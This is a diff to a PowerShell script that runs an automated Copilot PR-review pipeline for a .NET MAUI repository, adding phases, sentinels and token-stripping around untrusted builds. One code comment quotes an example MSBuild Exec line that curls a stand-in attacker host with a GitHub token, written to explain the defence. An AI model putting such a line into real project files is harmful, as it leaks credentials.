+$runGate = -not $Phase -or $Phase -eq 'Gate'
+$runCopilotReview = -not $Phase -or $Phase -eq 'CopilotReview'
+$runPost = -not $Phase -or $Phase -eq 'Post'
+
+# Resolve the scripts directory — use TrustedScriptsDir if provided (CI),
+# otherwise use the repo's own .github/ directory (local dev).
+$ScriptsDir = if ($TrustedScriptsDir) { Join-Path $TrustedScriptsDir 'scripts' } else { $PSScriptRoot }
+$SkillsDir = if ($TrustedScriptsDir) { Join-Path $TrustedScriptsDir 'skills' } else { Join-Path $PSScriptRoot '../skills' }
+$EngScriptsDir = if ($TrustedScriptsDir) { Join-Path $TrustedScriptsDir 'eng-scripts' } else { Join-Path $PSScriptRoot '../../eng/scripts' }
+
+$commentCleanupScript = Join-Path $ScriptsDir "shared/Remove-StaleMauiBotComments.ps1"
+if (Test-Path $commentCleanupScript) {
+ . $commentCleanupScript
+}
+
+# Gate has GH_TOKEN in env so trusted code (Detect-TestsInDiff, Find-RegressionRisks,
+# detect-ui-test-categories) can fetch PR metadata via `gh` CLI. Any subprocess that
+# executes PR-controlled code (MSBuild targets, test code, source generators, host-app
+# builds) would otherwise inherit that token and trivially exfiltrate it via something
+# like `<Exec Command="curl attacker/?t=$(GH_TOKEN)" />` in a .csproj or
+# Directory.Build.targets. Wrap every such invocation in Invoke-WithoutGhTokens.
+function Invoke-WithoutGhTokens {
+ [CmdletBinding()]
+ param([Parameter(Mandatory)][scriptblock]$ScriptBlock)
+ $saved = @{
+ GH_TOKEN = $env:GH_TOKEN
+ GITHUB_TOKEN = $env:GITHUB_TOKEN
+ COPILOT_GITHUB_TOKEN = $env:COPILOT_GITHUB_TOKEN
+ }
+ try {
+ $env:GH_TOKEN = $null
+ $env:GITHUB_TOKEN = $null
+ $env:COPILOT_GITHUB_TOKEN = $null
+ & $ScriptBlock
+ } finally {
+ foreach ($k in $saved.Keys) { Set-Item -Path ("env:" + $k) -Value $saved[$k] }
+ }
+}
+
# ─── Banner ───────────────────────────────────────────────────────────────────
Write-Host ""
Write-Host "╔═══════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
@@ -87,7 +157,25 @@ if ($Platform) {
Write-Host "╚═══════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
Write-Host ""
+# ─── Shared variables (available to all phases) ──────────────────────────────
+$platformInstruction = if ($Platform) {
+ "**Platform for testing:** $Platform"
+} else {
+ "**Platform for testing:** Determine from PR's affected code paths and current host OS."
+}
+
+$autonomousRules = @"
+
+🚨 **AUTONOMOUS EXECUTION:**
+- There is NO human operator - NEVER stop and ask for input
+- On environment blockers: skip the blocked phase and continue
+- Always prefer CONTINUING with partial results over STOPPING
+"@
+
+$reviewBranch = "pr-review-$PRNumber"
+
# ─── Prerequisites ────────────────────────────────────────────────────────────
+if ($runSetup) {
Write-Host "📋 Checking prerequisites..." -ForegroundColor Yellow
$ghVersion = gh --version 2>$null | Select-Object -First 1
@@ -104,21 +192,6 @@ $prInfo = gh pr view $PRNumber --json title,state 2>$null | ConvertFrom-Json
if (-not $prInfo) { Write-Error "PR #$PRNumber not found"; exit 1 }
Write-Host " ✅ PR: $($prInfo.title)" -ForegroundColor Green
-# ─── Shared prompt rules ─────────────────────────────────────────────────────
-$platformInstruction = if ($Platform) {
- "**Platform for testing:** $Platform"
-} else {
- "**Platform for testing:** Determine from PR's affected code paths and current host OS."
-}
-
-$autonomousRules = @"
-
-🚨 **AUTONOMOUS EXECUTION:**
-- There is NO human operator - NEVER stop and ask for input
-- On environment blockers: skip the blocked phase and continue
-- Always prefer CONTINUING with partial results over STOPPING
-"@
-
# ═════════════════════════════════════════════════════════════════════════════
# STEP 1: Branch Setup (Create Review Branch & Cherry-Pick PR)
# ═════════════════════════════════════════════════════════════════════════════
@@ -128,8 +201,6 @@ Write-Host "╔═════════════════════
Write-Host "║ STEP 1: BRANCH SETUP ║" -ForegroundColor Yellow
Write-Host "╚═══════════════════════════════════════════════════════════╝" -ForegroundColor Yellow
-$reviewBranch = "pr-review-$PRNumber"
-
if ($DryRun) {
if ($UseCurrentBranch) {
Write-Host "[DRY RUN] Would create review branch '$reviewBranch' from current branch" -ForegroundColor Magenta
@@ -243,6 +314,13 @@ if ($DryRun) {
} else {
Write-Host " ⚠️ No changes to merge (PR may already be up to date)" -ForegroundColor Yellow
}
+
+ if (Get-Command Remove-StaleMauiBotIssueComments -ErrorAction SilentlyContinue) {
+ Remove-StaleMauiBotIssueComments `
+ -PRNumber $PRNumber `
+ -IncludeMergeConflict `
+ -Reason "resolved merge-conflict notice"
+ }
} else {
Write-Host " ❌ Squash-merge had conflicts." -ForegroundColor Red
git merge --abort 2>$null
@@ -253,8 +331,18 @@ if ($DryRun) {
git branch -D $reviewBranch 2>$null
git branch -D $tempBranch 2>$null
+ if (Get-Command Remove-StaleMauiBotIssueComments -ErrorAction SilentlyContinue) {
+ Remove-StaleMauiBotIssueComments `
+ -PRNumber $PRNumber `
+ -IncludeMergeConflict `
+ -Reason "stale merge-conflict notice"
+ }
+
# Post a comment on the PR about merge conflicts
- $conflictBody = "⚠️ **Merge Conflict Detected** — This PR has merge conflicts with its target branch. Please rebase onto the target branch and resolve the conflicts."
+ $conflictBody = @"
+<!-- MAUI_BOT_MERGE_CONFLICT -->
+⚠️ **Merge Conflict Detected** — This PR has merge conflicts with its target branch. Please rebase onto the target branch and resolve the conflicts.
+"@
try {
gh pr comment $PRNumber --body $conflictBody 2>&1 | Out-Null
Write-Host " 📝 Posted merge conflict comment on PR" -ForegroundColor Cyan
@@ -275,10 +363,42 @@ if ($DryRun) {
Write-Host " 📝 HEAD: $headCommit" -ForegroundColor Gray
}
+} # end if ($runSetup)
+
+# End of Setup phase — write sentinel and exit early
+if ($Phase -eq 'Setup') {
+ # Sentinel signals to Tasks 2-4 that Setup completed successfully (PR merged).
+ $sentinelDir = if ($TrustedScriptsDir) {
+ Split-Path $TrustedScriptsDir -Parent
+ } else {
+ $d = Join-Path $RepoRoot "CustomAgentLogsTmp/PRState/$PRNumber/PRAgent/gate"
+ New-Item -ItemType Directory -Force -Path $d | Out-Null
+ $d
+ }
+ "OK" | Set-Content (Join-Path $sentinelDir "setup-complete") -Encoding UTF8
+ Write-Host "✅ Setup phase complete" -ForegroundColor Green
+ if ($LogFile) { Stop-Transcript -ErrorAction SilentlyContinue | Out-Null }
+ exit 0
+}
+
+# ─── Sentinel check: verify Setup completed before running later phases ───
+if ($Phase -and $Phase -ne 'Setup') {
+ $sentinelDir = if ($TrustedScriptsDir) {
+ Split-Path $TrustedScriptsDir -Parent
+ } else {
+ Join-Path $RepoRoot "CustomAgentLogsTmp/PRState/$PRNumber/PRAgent/gate"
+ }
+ $sentinelFile = Join-Path $sentinelDir "setup-complete"
+ if (-not (Test-Path $sentinelFile)) {
+ Write-Error "Setup phase did not complete (sentinel not found at '$sentinelFile'). Cannot proceed with -Phase $Phase."
+ exit 1
+ }
+}
+
# ─── Helper: Parse `dotnet test --logger "console;verbosity=detailed"` ──────
# Extracts per-test results (Passed/Failed/Skipped) plus failure messages and
-# stack traces from raw stdout. Used by STEP 3 so the AI summary comment shows
-# WHICH tests failed and WHY, not just an aggregate exit code.
+# stack traces from raw stdout. Used by the RunDeepUITests stage and Gate so the
+# AI summary comment shows WHICH tests failed and WHY, not just an aggregate exit code.
function Get-DotNetTestResults {
param([string[]]$Lines)
@@ -358,7 +478,7 @@ function Get-DotNetTestResults {
# --logger "trx;LogFileName=<sanitized>.trx" --results-directory <dir>
# The TRX is the same format AzDO's PublishTestResults@2 ingests, so it has
# every test's outcome, duration, error message and stack trace — without
-# any console-scrape ambiguity. STEP 3 prefers TRX when available because
+# any console-scrape ambiguity. The RunDeepUITests stage and Gate prefer TRX when
# parsing console output is fragile when many tests run, lines wrap, or
# multi-line ErrorRecords get glued together by PowerShell stream merging.
# Get-TrxResults: defined inline because Review-PR.ps1 is invoked by
@@ -467,10 +587,12 @@ function Invoke-CopilotStep {
}
# Use JSON output format to stream live progress of agent activity.
+ # --secret-env-vars: defense-in-depth — strips named tokens from copilot's
+ # shell/MCP subprocess env even if they somehow appear (e.g., via variable groups).
# Model is overridable via $env:COPILOT_REVIEW_MODEL so contributors without internal-model access
# can run this script (e.g., with 'claude-opus-4.6' or 'claude-sonnet-4.6').
$copilotModel = if ($env:COPILOT_REVIEW_MODEL) { $env:COPILOT_REVIEW_MODEL } else { 'gpt-5.5' }
- & copilot -p $Prompt --allow-all --output-format json --model $copilotModel 2>&1 | ForEach-Object {
+ & copilot -p $Prompt --allow-all --output-format json --model $copilotModel --secret-env-vars=GH_TOKEN,COPILOT_GITHUB_TOKEN,GITHUB_TOKEN 2>&1 | ForEach-Object {
$line = $_.ToString()
try {
$event = $line | ConvertFrom-Json -ErrorAction Stop
@@ -613,6 +735,8 @@ function Invoke-CopilotStep {
# STEP 2: DETECT UI Test Categories (detection only — no pipeline trigger)
# ═════════════════════════════════════════════════════════════════════════════
+if ($runGate) {
+
Write-Host ""
Write-Host "╔═══════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
Write-Host "║ STEP 2: DETECT UI TEST CATEGORIES ║" -ForegroundColor Cyan
@@ -620,7 +744,7 @@ Write-Host "╚═════════════════════
$uitestCategories = ""
-$detectScript = Join-Path $RepoRoot "eng/scripts/detect-ui-test-categories.ps1"
+$detectScript = Join-Path $EngScriptsDir "detect-ui-test-categories.ps1"
if (Test-Path $detectScript) {
try {
$detectOutput = & pwsh -NoProfile -File $detectScript -PrNumber "$PRNumber" 2>&1
@@ -647,10 +771,10 @@ if (Test-Path $detectScript) {
# Emit detected categories as an AzDO output variable so downstream
# stages (RunDeepUITests, UpdateAISummaryComment) in ci-copilot.yml
- # can read them via $(stageDependencies.ReviewPR.CopilotReview.outputs['RunReview.detectedCategories']).
+ # can read them via $(stageDependencies.ReviewPR.CopilotReview.outputs['RunGate.detectedCategories']).
# `isOutput=true` is required for cross-stage consumption; the
# variable name is namespaced under the step's `name:` property
- # in ci-copilot.yml (currently `RunReview`) by AzDO.
+ # in ci-copilot.yml (currently `RunGate`) by AzDO.
# Local invocations (no $env:TF_BUILD) won't have an AzDO variable
# store but the marker is harmless — gets ignored.
# Emit detected categories. Blank = "run all", a specific string = categories,
@@ -690,461 +814,16 @@ if ($LASTEXITCODE -ne 0) {
}
# ═════════════════════════════════════════════════════════════════════════════
-# STEP 3: RUN DETECTED UI TEST CATEGORIES (script, no copilot agent)
+# STEP 3: REGRESSION CROSS-REFERENCE (script, no copilot agent)
# ═════════════════════════════════════════════════════════════════════════════
-# Runs the UI test categories that Step 2 detected. Skipped when:
-# - $uitestCategories is 'NONE' (no UI-relevant changes)
-# - $uitestCategories is empty/blank (run-all matrix — too expensive locally)
-# Results are appended to the existing uitests/content.md so they show up in
-# the same collapsible section of the AI summary comment.
Write-Host ""
Write-Host "╔═══════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
-Write-Host "║ STEP 3: RUN DETECTED UI TESTS ║" -ForegroundColor Cyan
-Write-Host "╚═══════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
-
-$uitestRunResult = "SKIPPED"
-$uitestRunnerScript = Join-Path $PSScriptRoot "BuildAndRunHostApp.ps1"
-
-if ($uitestCategories -eq 'NONE') {
- Write-Host " ⏭️ Skipped — detection returned NONE (no UI-relevant changes)" -ForegroundColor DarkGray
-} elseif ([string]::IsNullOrWhiteSpace($uitestCategories)) {
- Write-Host " ⏭️ Skipped — detection returned the run-all matrix (too expensive to run all categories locally)" -ForegroundColor DarkGray
-} elseif (-not (Test-Path $uitestRunnerScript)) {
- Write-Host " ⚠️ BuildAndRunHostApp.ps1 not found — cannot run UI tests" -ForegroundColor Yellow
-} else {
- # Mirror the regression-test platform fallback so a $Platform-less invocation
- # still has a concrete target instead of silently picking nothing.
- $uitestPlatform = if ($Platform) { $Platform } else { "android" }
-
- $categoryList = @($uitestCategories -split ',' | ForEach-Object { $_.Trim() } | Where-Object { $_ })
- Write-Host " 🧪 Running $($categoryList.Count) detected UI category(ies) on '$uitestPlatform'…" -ForegroundColor Cyan
-
- $uitestRunOutputDir = Join-Path $RepoRoot "CustomAgentLogsTmp/PRState/$PRNumber/PRAgent/uitests"
- New-Item -ItemType Directory -Force -Path $uitestRunOutputDir | Out-Null
-
- $uitestPassed = 0
- $uitestFailed = 0
- $uitestSkipped = 0
- $uitestDetails = @()
-
- foreach ($cat in $categoryList) {
- Write-Host ""
- Write-Host " 📋 [$cat] Invoke-UITestWithRetry -Platform $uitestPlatform -Category $cat" -ForegroundColor Cyan
-
- # Delegate to the shared deploy+retry script so STEP 3 uses the
- # SAME pre-boot + retry-on-env-error + device-reboot pipeline as
- # the Gate (verify-tests-fail.ps1's Invoke-TestRun +
- # Invoke-TestRunWithRetry). When the Android emulator/iOS sim
- # rejects an install ("ADB0010 Broken pipe", XHarness exit 83,
- # AppiumServerHasNotBeenStartedLocally, …) the helper retries up
- # to 3 times with adb reboot / simctl boot recovery between
- # attempts. Without this, a single transient install failure was
- # turning into "119 OneTimeSetUp timeouts" in the AI summary.
- $catLogPath = Join-Path $uitestRunOutputDir ("$cat-output.log")
- $catStart = Get-Date
- $sharedRunner = Join-Path $PSScriptRoot "shared/Invoke-UITestWithRetry.ps1"
- $runResult = $null
- $testOutput = @()
- $testExitCode = -1
- $envErrHit = $null
- try {
- $runResult = & $sharedRunner `
- -Platform $uitestPlatform `
- -Category $cat `
- -RepoRoot $RepoRoot `
- -LogFile $catLogPath
- if ($runResult) {
- $testOutput = $runResult.Output
- $testExitCode = $runResult.ExitCode
- $envErrHit = $runResult.EnvErrorHit
- Write-Host " Attempts: $($runResult.Attempts) · Exit: $testExitCode · EnvError: $envErrHit" -ForegroundColor Gray
- $testOutput | Select-Object -Last 20 | ForEach-Object { Write-Host " $_" }
- }
- } catch {
- Write-Host " ⚠️ Shared runner threw: $_" -ForegroundColor Yellow
- $testExitCode = -1
- }
- $catDuration = [math]::Round(((Get-Date) - $catStart).TotalSeconds, 1)
-
- # Parse per-test results. We prefer the TRX file written by
- # `dotnet test --logger trx` (mirrors CI pipeline 313's
- # `RunTestWithLocalDotNet`) — it's authoritative because it captures
- # every test's outcome, duration, error and stack regardless of
- # how the console output got wrapped or interleaved. We only fall
- # back to scraping the captured stdout via Get-DotNetTestResults
- # when the TRX is missing (build/deploy crashed before tests ran,
- # or an older BuildAndRunHostApp.ps1 ran without --logger trx).
- $perTestResults = @()
- $trxAggregate = $null
- $trxPath = if ($runResult) { [string]$runResult.TrxResultFile } else { $null }
- if ($trxPath -and (Test-Path $trxPath)) {
- try {
- $trxAggregate = Get-TrxResults -TrxPath $trxPath
- if ($trxAggregate) {
- $perTestResults = @($trxAggregate.Results)
- Write-Host " 📄 TRX parsed: total=$($trxAggregate.Total) passed=$($trxAggregate.Passed) failed=$($trxAggregate.Failed) skipped=$($trxAggregate.Skipped)" -ForegroundColor Cyan
- }
- } catch {
- Write-Host " ⚠️ Failed to parse TRX $trxPath : $_" -ForegroundColor Yellow
- }
- }
- if (-not $trxAggregate) {
- try {
- $perTestResults = @(Get-DotNetTestResults -Lines $testOutput)
- } catch {
- Write-Host " ⚠️ Failed to parse per-test results: $_" -ForegroundColor Yellow
- }
- }
- $catFailedTests = @($perTestResults | Where-Object { $_.status -eq 'Failed' })
- $catPassedTests = @($perTestResults | Where-Object { $_.status -eq 'Passed' })
- # Authoritative aggregate counts: TRX > per-test array. (When the TRX
- # is present its <Counters total="N" .../> attribute beats counting
- # array items because VSTest may report retries/skips that aren't in
- # individual <UnitTestResult> nodes.)
- if ($trxAggregate) {
- $catTotalCount = [int]$trxAggregate.Total
- $catPassedCount = [int]$trxAggregate.Passed
- $catFailedCount = [int]$trxAggregate.Failed
- } else {
- $catTotalCount = $perTestResults.Count
- $catPassedCount = $catPassedTests.Count
- $catFailedCount = $catFailedTests.Count
- }
-
- if ($testExitCode -eq 0) {
- Write-Host " ✅ PASSED ($catDuration s, $catPassedCount test(s))" -ForegroundColor Green
- $uitestPassed++
- $uitestDetails += @{
- category = $cat
- result = 'PASSED'
- duration_s = $catDuration
- tests_total = $catTotalCount
- tests_passed = $catPassedCount
- tests_failed = 0
- passed_tests = @($catPassedTests | ForEach-Object { @{ name = $_.name; duration = $_.duration } })
- failed_tests = @()
- }
- } elseif ($testExitCode -eq -1) {
- Write-Host " ⏭️ SKIPPED" -ForegroundColor DarkGray
- $uitestSkipped++
- $uitestDetails += @{
- category = $cat
- result = 'SKIPPED'
- duration_s = $catDuration
- reason = 'Runner threw an exception'
- tests_total = 0
- tests_passed = 0
- tests_failed = 0
- passed_tests = @()
- failed_tests = @()
- }
- } else {
- Write-Host " ❌ FAILED (exit code: $testExitCode, $catDuration s, $catFailedCount failed test(s))" -ForegroundColor Red
- foreach ($ft in $catFailedTests) {
- Write-Host " • $($ft.name)" -ForegroundColor Red
- }
- $uitestFailed++
- # When per-test parsing found no failures (e.g. build/deploy
- # crashed before tests ran), capture the last 30 lines of the
- # category's stdout so the AI summary can show the actual error
- # (CS0246, RS0016, missing dependency, etc.) instead of just
- # "exit code 1".
- $buildTail = $null
- if ($catFailedCount -eq 0) {
- try {
- $tail = @($testOutput | ForEach-Object { "$_" } | Select-Object -Last 30)
- $buildTail = ($tail -join "`n").Trim()
- } catch { $buildTail = $null }
- }
- # Detect infrastructure-level failure: when ALL failures share a
- # OneTimeSetUp timeout AND the build log shows the HostApp couldn't
- # be installed/launched (ADB install failure, broken pipe, no
- # device, etc.), this is a CI infra problem — not real test
- # regressions. Reviewers shouldn't be alarmed by "119 failed tests"
- # when the app never even started.
- #
- # If $envErrHit was set above, use that — the retry loop already
- # detected an env error and exhausted retries.
- # Load shared env-error patterns (single source of truth).
- $sharedPatternsScript = Join-Path $PSScriptRoot "shared/Get-EnvErrorPatterns.ps1"
- if (Test-Path $sharedPatternsScript) {
- . $sharedPatternsScript
- $infraSignals = Get-EnvErrorPatterns
- } else {
- $infraSignals = @(
- 'InstallFailedException',
- 'Failure calling service package',
- 'ADB0010',
- 'Broken pipe',
- 'no devices/emulators found',
- 'device offline',
- 'Could not connect to device',
- 'Failed to launch the application',
- 'cmd: Failure'
- )
- }
- $infraReason = $envErrHit
- if (-not $infraReason -and $catFailedTests.Count -gt 0) {
- # Two equally-strong infra-failure indicators:
- # (a) every failure is `OneTimeSetUp:` — driver couldn't
- # reach the runner UI button.
- # (b) the build itself failed (`Build FAILED`) and there
- # are zero passes — NUnit then "fails" every test in
- # the assembly because the HostApp APK never got
- # installed.
- $logText = ($testOutput | ForEach-Object { "$_" }) -join "`n"
- $allOneTimeSetup = @($catFailedTests | Where-Object {
- ($_.error -as [string]) -match '^OneTimeSetUp:'
- }).Count -eq $catFailedTests.Count
- $buildFailedNoPasses = ($catPassedCount -eq 0) -and ($logText -match '(?m)^Build FAILED\.\s*$')
- if ($allOneTimeSetup -or $buildFailedNoPasses) {
- foreach ($sig in $infraSignals) {
- if ($logText -match $sig) {
- $infraReason = $sig
- break
- }
- }
- }
- }
- $uitestDetails += @{
- category = $cat
- result = 'FAILED'
- duration_s = $catDuration
- exit_code = $testExitCode
- tests_total = $catTotalCount
- tests_passed = $catPassedCount
- tests_failed = $catFailedCount
- build_tail = $buildTail
- infra_failure = $infraReason
- trx_path = $trxPath
- passed_tests = @($catPassedTests | ForEach-Object { @{ name = $_.name; duration = $_.duration } })
- failed_tests = @($catFailedTests | ForEach-Object {
- @{
- name = $_.name
- duration = $_.duration
- error = $_.error
- stack = $_.stack
- }
- })
- }
- }
- }
-
- if ($uitestFailed -gt 0) {
- $uitestRunResult = "FAILED"
- Write-Host ""
- Write-Host " 🔴 UI test result: $uitestPassed passed, $uitestFailed FAILED, $uitestSkipped skipped" -ForegroundColor Red
- } elseif ($uitestPassed -gt 0) {
- $uitestRunResult = "PASSED"
- Write-Host ""
- Write-Host " ✅ UI test result: $uitestPassed passed, $uitestSkipped skipped" -ForegroundColor Green
- } else {
- $uitestRunResult = "SKIPPED"
- Write-Host ""
- Write-Host " ⏭️ All UI categories skipped ($uitestSkipped total)" -ForegroundColor DarkGray
- }
-
- # Append a results table to the existing uitests/content.md so the same
- # collapsible "UI Tests — Category Detection" section in the AI summary
- # comment now contains both the detected list and the run results.
- $uitestContentFile = Join-Path $uitestRunOutputDir "content.md"
- $appendMd = New-Object System.Text.StringBuilder
- [void]$appendMd.AppendLine()
- [void]$appendMd.AppendLine("### 🧪 UI Test Execution Results")
- [void]$appendMd.AppendLine()
- $resultIcon = switch ($uitestRunResult) { "PASSED" { "✅" }; "FAILED" { "❌" }; default { "⏭️" } }
- [void]$appendMd.AppendLine("$resultIcon **$uitestRunResult** — $uitestPassed passed, $uitestFailed failed, $uitestSkipped skipped (platform: ``$uitestPlatform``)")
- [void]$appendMd.AppendLine()
- if ($uitestDetails.Count -gt 0) {
- [void]$appendMd.AppendLine("| Category | Result | Tests | Duration | Notes |")
- [void]$appendMd.AppendLine("|---|---|---|---|---|")
- foreach ($d in $uitestDetails) {
- $icon = switch ($d.result) { "PASSED" { "✅" }; "FAILED" { "❌" }; default { "⏭️" } }
- # Tests column: e.g. "1/1 ✓" on pass, "0/1 (1 ❌)" on fail. When the
- # category itself failed but no per-test failures were parsed (e.g.
- # build/deploy crashed before tests ran), don't claim a green ✓ —
- # show "build/deploy failed" so reviewers aren't misled.
- $tCount = if ($null -ne $d.tests_total) { [int]$d.tests_total } else { 0 }
- $tPass = if ($null -ne $d.tests_passed) { [int]$d.tests_passed } else { 0 }
- $tFail = if ($null -ne $d.tests_failed) { [int]$d.tests_failed } else { 0 }
- $testsCol = if ($d.infra_failure) {
- "🛠️ infra failure ($tFail bogus failures)"
- }
- elseif ($d.result -eq 'FAILED' -and $tFail -eq 0) {
- if ($tCount -eq 0) { "build/deploy failed" }
- else { "$tPass/$tCount — build/deploy failed before per-test results" }
- }
- elseif ($tCount -eq 0) { "—" }
- elseif ($tFail -gt 0) { "$tPass/$tCount ($tFail ❌)" }
- else { "$tPass/$tCount ✓" }
- $notes = if ($d.infra_failure) { "infra: $($d.infra_failure)" }
- elseif ($d.exit_code) { "exit code $($d.exit_code)" }
- elseif ($d.reason) { $d.reason }
- else { "" }
- [void]$appendMd.AppendLine("| ``$($d.category)`` | $icon $($d.result) | $testsCol | $($d.duration_s)s | $notes |")
- }
- }
- [void]$appendMd.AppendLine()
-
- # Per-failed-category breakdown: collapsible block with each failed test's
- # name, error message, and first stack frame so a reviewer can diagnose
- # without downloading the full build artifact. When a category failed but
- # produced no per-test failures (build/deploy crashed), surface the last
- # 30 lines of stdout so the AI summary still pinpoints the cause.
- $failedCats = @($uitestDetails | Where-Object { $_.result -eq 'FAILED' -and (($_.failed_tests -and $_.failed_tests.Count -gt 0) -or $_.build_tail) })
- $infraCats = @($failedCats | Where-Object { $_.infra_failure })
- if ($infraCats.Count -gt 0) {
- [void]$appendMd.AppendLine("> ⚠️ **Infrastructure failure detected** — for $($infraCats.Count) categor$(if ($infraCats.Count -eq 1) { 'y' } else { 'ies' }) below, the HostApp couldn't be installed or launched on the device (build/deploy failed). NUnit then reports every test in the assembly as failed. **These are NOT real test regressions** — the test runner never started. Look for ``$($infraCats[0].infra_failure)`` in the build log.")
- [void]$appendMd.AppendLine()
- }
- if ($failedCats.Count -gt 0) {
- [void]$appendMd.AppendLine("#### Failed test details")
- [void]$appendMd.AppendLine()
- foreach ($d in $failedCats) {
- $hasFailedTests = $d.failed_tests -and $d.failed_tests.Count -gt 0
- $headSummary = if ($d.infra_failure) {
- "🛠️ <code>$($d.category)</code> — infra failure ($($d.failed_tests.Count) bogus failures, app never installed)"
- } elseif ($hasFailedTests) {
- "❌ <code>$($d.category)</code> — $($d.failed_tests.Count) failed test$(if ($d.failed_tests.Count -ne 1) { 's' })"
- } else {
- "❌ <code>$($d.category)</code> — build/deploy failed (no per-test results)"
- }
- [void]$appendMd.AppendLine("<details><summary>$headSummary</summary>")
- [void]$appendMd.AppendLine()
- if ($hasFailedTests) {
- # GitHub's comment body limit is 65,536 chars; large categories
- # can have 100+ failures with multi-KB error messages each.
- # Group by error message to dedup the common "OneTimeSetUp:
- # Timed out…" cases (one root cause, N tests). Show full
- # detail for the first 5 unique errors, then a compact list.
- # @() wrap is required: Group-Object on a single unique key
- # returns ONE GroupInfo (not an array), and `.Count` on a
- # GroupInfo returns the size of the group, not the number of
- # groups — without @() the foreach below would iterate the
- # group's members instead of the groups themselves.
- $byErr = @($d.failed_tests | Group-Object -Property {
- if ($_.error) { ($_.error -as [string]).Substring(0, [Math]::Min(200, ([string]$_.error).Length)) } else { '<no error>' }
- } | Sort-Object Count -Descending)
-
- $shownGroups = 0
- foreach ($g in $byErr) {
- if ($shownGroups -ge 5) {
- $remaining = ($byErr | Select-Object -Skip 5 | Measure-Object -Property Count -Sum).Sum
- [void]$appendMd.AppendLine("…and $remaining more failure(s) with other error signatures (see CopilotLogs artifact for full detail).")
- [void]$appendMd.AppendLine()
- break
- }
- $shownGroups++
-
- $first = $g.Group[0]
- $count = $g.Count
- if ($count -gt 1) {
- $sampleNames = ($g.Group | Select-Object -First 3 | ForEach-Object { "``$($_.name)``" }) -join ', '
- $more = if ($count -gt 3) { ", … (+$($count - 3) more)" } else { '' }
- [void]$appendMd.AppendLine("**$count tests failed with the same error** — e.g. $sampleNames$more")
- } else {
- [void]$appendMd.AppendLine("**``$($first.name)``** *(took $($first.duration))*")
- }
- [void]$appendMd.AppendLine()
-
- $errBody = if ($first.error) {
- $e = [string]$first.error
- if ($e.Length -gt 1500) { $e.Substring(0, 1500) + "`n…(truncated)" } else { $e }
- } else { "_(no error message captured)_" }
- [void]$appendMd.AppendLine('```')
- [void]$appendMd.AppendLine($errBody)
- [void]$appendMd.AppendLine('```')
- if ($first.stack) {
- $firstFrame = ($first.stack -split "`n" | Where-Object { $_.Trim() } | Select-Object -First 1)
- if ($firstFrame) {
- [void]$appendMd.AppendLine("> at $($firstFrame.Trim().TrimStart('a','t',' '))")
- [void]$appendMd.AppendLine()
- }
- }
- }
-
- # Always print a compact name-only list of every failed test
- # so reviewers know exactly which tests need to be re-run,
- # even if their error matched a deduped group above.
- if ($d.failed_tests.Count -gt 1) {
- [void]$appendMd.AppendLine("<details><summary>All $($d.failed_tests.Count) failed test names</summary>")
- [void]$appendMd.AppendLine()
- foreach ($ft in $d.failed_tests) {
- [void]$appendMd.AppendLine("- ``$($ft.name)``")
- }
- [void]$appendMd.AppendLine()
- [void]$appendMd.AppendLine("</details>")
- [void]$appendMd.AppendLine()
- }
- }
- if ($d.build_tail) {
- $tail = [string]$d.build_tail
- if ($tail.Length -gt 3000) { $tail = $tail.Substring($tail.Length - 3000) }
- [void]$appendMd.AppendLine("Last 30 lines of build/test stdout:")
- [void]$appendMd.AppendLine()
- [void]$appendMd.AppendLine('```')
- [void]$appendMd.AppendLine($tail)
- [void]$appendMd.AppendLine('```')
- }
- [void]$appendMd.AppendLine()
- [void]$appendMd.AppendLine("</details>")
- [void]$appendMd.AppendLine()
- }
- }
-
- # Per-passed-category mini-summary: only emitted if there were ANY passed
- # tests, so empty/skipped runs stay quiet.
- $passedCats = @($uitestDetails | Where-Object { $_.passed_tests -and $_.passed_tests.Count -gt 0 -and $_.result -eq 'PASSED' })
- if ($passedCats.Count -gt 0) {
- [void]$appendMd.AppendLine("<details><summary>Show $(($passedCats | Measure-Object -Property tests_passed -Sum).Sum) passed test name(s)</summary>")
- [void]$appendMd.AppendLine()
- foreach ($d in $passedCats) {
- [void]$appendMd.AppendLine("**``$($d.category)``**")
- [void]$appendMd.AppendLine()
- foreach ($pt in $d.passed_tests) {
- [void]$appendMd.AppendLine("- ``$($pt.name)`` *($($pt.duration))*")
- }
- [void]$appendMd.AppendLine()
- }
- [void]$appendMd.AppendLine("</details>")
- [void]$appendMd.AppendLine()
- }
- [void]$appendMd.AppendLine("_Failures here are informational only — they do not block the gate or affect try-fix candidate scoring._")
- Add-Content $uitestContentFile $appendMd.ToString() -Encoding UTF8
-
- # JSON summary for downstream consumers / debugging.
- @{
- result = $uitestRunResult
- platform = $uitestPlatform
- passed = $uitestPassed
- failed = $uitestFailed
- skipped = $uitestSkipped
- details = $uitestDetails
- } | ConvertTo-Json -Depth 4 | Set-Content (Join-Path $uitestRunOutputDir "test-results.json") -Encoding UTF8
-
- # result.txt — one-line traceability marker (PASSED / FAILED / SKIPPED).
- $uitestRunResult | Set-Content (Join-Path $uitestRunOutputDir "result.txt") -Encoding UTF8
-}
-
-# Restore the review branch in case BuildAndRunHostApp.ps1 (or any of its
-# child invocations) detached HEAD or switched branches.
-git checkout $reviewBranch 2>$null | Out-Null
-if ($LASTEXITCODE -ne 0) {
- Write-Host " ⚠️ Failed to restore review branch '$reviewBranch' after Step 3 — subsequent steps may run against the wrong tree" -ForegroundColor Red
-}
-
-# ═════════════════════════════════════════════════════════════════════════════
-# STEP 4: REGRESSION CROSS-REFERENCE (script, no copilot agent)
-# ═════════════════════════════════════════════════════════════════════════════
-
-Write-Host ""
-Write-Host "╔═══════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
-Write-Host "║ STEP 4: REGRESSION CROSS-REFERENCE ║" -ForegroundColor Cyan
+Write-Host "║ STEP 3: REGRESSION CROSS-REFERENCE ║" -ForegroundColor Cyan
Write-Host "╚═══════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
$regressionOutputDir = Join-Path $RepoRoot "CustomAgentLogsTmp/PRState/$PRNumber/PRAgent/regression-check"
-$regressionScript = Join-Path $PSScriptRoot "Find-RegressionRisks.ps1"
+$regressionScript = Join-Path $ScriptsDir "Find-RegressionRisks.ps1"
if (Test-Path $regressionScript) {
try {
& $regressionScript -PRNumber $PRNumber -OutputDir $regressionOutputDir
